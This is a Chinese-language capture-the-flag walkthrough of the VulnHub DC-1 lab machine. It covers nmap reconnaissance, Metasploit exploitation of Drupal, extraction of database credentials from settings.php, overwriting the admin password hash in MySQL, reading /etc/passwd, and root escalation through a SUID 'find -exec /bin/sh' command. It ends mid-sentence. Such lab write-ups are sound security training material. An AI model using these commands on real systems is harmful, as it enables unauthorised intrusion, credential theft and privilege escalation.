vulnhub靶机练习——DC1
vulnhub靶机练习——DC1
hihopkchttps://www.vulnhub.com/entry/dc-1,292/
导入到vmware
信息收集
法一:
kali里使用netdiscover发现主机
法二:
查看本机ip
nmap扫描靶机ip
1 | nmap -sS 192.168.247.135/24 |
通过nmap寻找到靶机的地址为192.168.247.136
开启了
22端口,ssh服务
80,http服务
111,RPC服务(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC在多种网络服务中都是很重要的组件。常见的RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等等。
得知
**渗透机:kali IP :192.168.247.135 **
靶机IP :192.168.247.136
对靶机更深入扫描
1 | nmap -A -sV --min-parallelism 200 192.168.247.136 |
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
或者
nmap -sS -sV -A -n 192.168.247.136
漏洞发现
首先80端口,就意味着可以访问他的网站,访问看看
发现采用的是Drupal的cms
可以进行dirsearch目录爆破
通常情况下,cms会存在比较多的漏洞,在cms中寻找突破口也是比较简单的。接下来我们就用msf来搜索一下该cms存在的漏洞
首先要了解一下Drupal,Drupal是开源CMS之一,Drupal是CMS内容管理系统,并且在世界各地使用,受到高度赞赏,Drupal可以作为开源软件免费使用,就是附带了cms的php开发框架。
搜了一下相关的drupal 漏洞 打开msf 看一下有哪些具体的模块可以使用
1 | msfconsole //启动msfconsole |
使用第一个
1 | use 1 |
发现权限为www-data
漏洞利用
进入后渗透模块 ls
查看 有1个flag1.txt
cat
一下
上网搜索一下drupal的配置文件
1 | /sites/default/settings.php |
Brute force and dictionary attacks aren’t the
暴力破解和字典攻击不是
only ways to gain access (and you WILL need access).
只有获得访问权限的方法(你将需要访问权限)。
What can you do with these credentials?
你能用这些证书做什么?
使用netstat -anptl
查看3306是否开放,结果只允许本地连接
接下来就获取一个交互式的shell,这次获取交互式shell的方法是通过python来调用bash
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
连接数据库
1 | mysql -u dbuser -pR0ck3t |
1 | show databases; ##列出数据库 |
注意到名为users的表,查看一下
1 | select * from user; //查询users表中所有数据 |
通过查询users
表中的账号得知admin的
密码是$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,
但是这种密文与linux中系统账号的密文十分类似。仔细分析,又与系统账号的加密方式不同,这个应该是采用了独特的加密方式,下一步可以在网站目录里面找找有没有加密的脚本文件。
获取加密脚本
经过查找,发现网站的目录下有一个scripts
的文件夹,这个名字就很脚本。最终在这个目录里面发现一个名为password-hash.sh
的脚本文件,该文件应该就是密码的加密脚本了。
将管理员密码修改成admin对应的密文
找到脚本后去网站根目录执行脚本
1 | cd /var/www |
将admin加密后得到的是$S$DXPPK1GAWOTNKG2I.3h272a4oEBHcjMltgvziy77Q581JAUKVBrY
得到了加密后的密码,就可以进入数据库修改密码啦
1 | mysql -udbuser -pR0ck3t //连接数据库 |
成功登入网站
回到开始的网站上用刚刚的账户密码admin:admin 登陆进去
点击Dashboard发现flag3,点击即可获取
提示passwd
,在etc目录下发现passwd文件
1 | cat /etc/paasswd |
flag4
1 | CopyCan you use this same method to find or access the flag in root? |
明示提权
提权
使用find命令查找有特殊权限suid
的命令:find / -perm -4000
或者
find / -user root -perm -4000 -print 2>/dev/null
使用find命令提权
1 | find ./ aaa -exec '/bin/sh' \; |
如果不提权